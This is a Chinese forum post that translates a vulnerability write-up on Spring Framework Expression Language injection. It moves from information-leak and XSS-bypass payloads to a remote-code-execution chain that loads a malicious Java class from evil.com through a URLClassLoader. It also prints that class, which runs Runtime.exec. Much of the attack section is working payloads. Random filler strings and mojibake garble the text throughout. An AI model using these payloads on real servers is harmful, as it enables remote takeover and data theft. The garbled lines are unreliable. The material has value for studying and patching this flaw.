找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2049|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with% g- G  B7 g4 l. P$ \9 _
Expression Language Injection; \7 ]* ^: R5 k) q% y& P
Spring Framework脆弱性—DanAmodio: v% b0 c7 v( u% z' Z9 G1 i& v
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中% K5 B2 g8 e: o  Y
可能会存在风险。
3 m( U) o% H9 ?& Q. z在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
* ~7 K, a  {4 s  YArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
; j' T& o8 [0 R0 u3 d! N以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
, a; H6 D2 G/ @" M3 F+ K以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
; Z, N- K$ U3 G4 I9 u版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。4 a' N2 s; A+ {7 s
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
; t+ w, k' x5 `5 f我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
, j8 v" H; A6 a, q% x8 F% j本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
& r: P- j, D0 s6 F& O这些版本不支持禁用double EL resolution.! x4 Q* ^7 i' [; A( I, c. a) f
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含4 F* O2 V& Y+ G& |5 x- H" P7 l
EL2.2容器上可能进行远程代码执行。# v2 {* X2 |$ D! ]8 u1 s
这是一个原始信息泄露的攻击例子:# d/ b) ]$ x% N, i9 j1 P- u
请求:
/ `& i( }! K. `  {ttp://vulnerable.com/foo?message=${applicationScope}6 N; ]% I# `9 d  @7 d
到达以下内容页面:/ o% h5 Q0 ~* \4 l, g: V
结果将输出一些包含内部服务器信息calsspath 和本地工作目录
: R: n: ?1 e+ Z  s+ R! ?你也可以做一些其他事情,如这样:
6 {8 @& W& t- \5 W${9999+1}. z' s) a& `& E+ }/ N9 ~
还可以访问session 对象和beans
  i0 s: w$ w. X${employee.lastName}
! [3 Y0 h1 N3 f1 b' K0 y1 K在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
! s8 Y8 A" C6 l3 p/ P; ~6 @0 ^EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东* |( e' o# h: Q% e
西,比如XSS.% @. }7 P- h' W  |* [6 T5 A
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
" Q7 A% i5 m" j5 v! t突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
6 f* L" j+ h0 J呢?”
& u! r& {8 R/ t4 t# p* `因此,我尝试巳缦拢�
+ g: f! y7 Z8 b5 Lhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
2 |# `" T$ S% m; j! h( K3 Z2 KP
9 u8 I. r% i$ N" r# K" W8 [我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
4 C, Q5 t. i( w) F6 ^5 N回的文本被插入进了spring:message 标签。  j8 n* c0 x" `1 [7 j: P
这里是一个最终绕过过滤的实例:# |! U* H" Z% V% S& n
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
. ]+ o# V8 I  u" q9 w: `- ?" x它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为/ ]( @6 o3 m, w5 g  @
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
6 K, k* s+ f3 w( _: O: _经过一番研究,我学习到EL2.2 增加了方法调用。. H' L) J; r3 I5 T! [9 c- |
我写了一个快速测试应用程序代码并且检测一些功能4 ]) o7 A2 [# o
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
2 W/ `2 ?5 `3 e${pageContext.request.getSession().setAttribute(“admin”,true)}3 P, M+ ^, Y) u2 f' w% U
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的2 i, L" F  h" ?4 Y9 Q
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?8 l5 D  ~1 r4 p/ r6 f6 ?- G
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.15 D! |6 W2 {2 S5 ~  a* e0 X
“, 1234)}
- [  P$ b  `+ t${“”.getClass().forName(“java.lang.Runtime”)}
3 {) Q$ U; m# ~$ r1 R4 `哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不% n* N# @1 W$ a: p# b6 K
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
2 u7 z9 X6 }0 d数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
( W  t$ s" k/ G$ ?. @$ @3 P一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于) h4 c) o: L$ Y, u
方法签名invoke(Object obj, Object„ args)7 C0 {( k% [. G$ I4 n6 c
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问, H7 G; j5 `9 N+ r
题,以让它可以工作起来。
5 F) b$ S( k3 O+ W; `漏洞利用:
; W" _% h8 k. d我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
3 s, y  _  E9 ?希望你们中的一些JAVA奇才告诉我我是如此的可笑。5 f. R6 c9 z% {. x% K
这里有一些我试过的失败的用例,为了试图让它工作的用例:
! N. _( u& p6 d1 X3 {9 O$ G! [' ` 写文件到文件系统* g0 V& u' ]( _  l: D$ X+ A
 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
  K1 s* [! h% h7 v# W  a5 Z我认为这些可以很好的工作,但是我不能找到合适的类来载入。! J1 K% y4 y1 U8 C3 H9 Q
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}& K+ D% l: G: I. Y- F) ~: Y# T* {
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
9 r" I$ g1 O1 q7 L9 Forg.springframework.expression.spel.standard.SpelExpressionParser not found$ t' ^+ B- \4 j0 w% n
by
8 P3 \* T, s3 O: i( d& \& J, uorg.glassfish.web.javax.servlet.jsp [194].! w) ~6 k$ l- L  D) I
 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public) }9 c& R$ Q  J0 T
 利用反射来创建一个新的Runtime(and watch the world burn)* O3 c0 W9 Q* o2 m, b
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
. B1 g  V; {3 J7 g; l* T/ S7 E(“java.lang.Runtime”)).getDeclaredConstructors()[0])}) |5 S) n7 [2 s% F& _
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
! q- f5 I5 b* G. U& R" n4 |! d 使用java.lang.ProcessBuilder" T5 d$ V0 f8 {5 v1 q5 ]% N/ K4 v
 用表达式语言来评估表达式语言4 S, H/ D# ~/ D+ {
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义./ S& n8 @* X, _6 r: w
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
3 s2 m2 M8 U: M, F5 ^! a' ]“,”".getClass(),null)}
; L* L/ E) \, c! Z' ?# ~" c 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
9 h. G5 s; t4 H1 b我在使用一个空数组通过Method.invoke()时失败了很多次- Q7 W. `9 t- m& s
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
! z! a+ n. k: D1 _, H8 k! l+ W5 U.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A# K" u1 ]% i* [1 T0 B
rrayList”).newInstance().toArray())5 v$ W6 u# `* Q6 p
java.lang.IllegalArgumentException: wrong number of arguments4 W7 g; w5 U* e3 v7 A& Y2 S% t
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
& x6 e2 u: O5 W8 m2 b+ `以创建一个恶意class文件并且指向类装载器.
) h( L) z( v) v我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:, W% i6 h3 c' a3 K
public class Malicious {6 ~# v/ k  C7 w" [( |
public Malicious() {3 N. D2 q4 O+ }7 g6 A4 i' v
try {( V+ [3 G: E( y) _* c$ K6 |3 @! C6 n
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
( E2 t* e$ F; |3 k) qjava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
  {7 ~- }# ^" a} catch (Exception e) {/ K2 m; v# v. Q$ l
}, T0 l% }; r) A3 d! _1 {: o+ n. u& C- `: e
}
) M# M; I0 R$ K+ X% K2 U我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回8 t9 l" c' f; O% V9 v! \% q8 p+ d
话中,因此它可以被使用.' l/ y% k% [1 E) h! a6 }
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName( O- v4 a6 U, r+ E
(“java.util.ArrayList”).newInstance())}9 x4 \0 T& p! I! L
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建! I& y- V3 x6 c  H1 [+ C' ^
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
0 s5 E' i9 |1 E, kgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个: U, K1 i3 y: ]6 X6 K
我们可以调用的create(string)方法,然后转换对一个URL对象。
9 |7 i, `, r, _0 I8 n${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
" @6 n' a2 ~8 cere/malicious/classfile/is/located/”).toURL())}
3 I5 Z* ?& Q2 v0 Q' J然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
; v0 v8 o+ N4 R1 {7 R6 y恶意类文件被装载并创建,触发远程代码.0 d1 @2 L7 o$ t0 h2 f1 ?! q
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
- ^% y4 y6 z& ]; n. Axt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
, f% ~2 s" m  h. f2 z+ G, E; vgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance( k7 V; u' Y5 @1 L; F. B8 H# O
()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表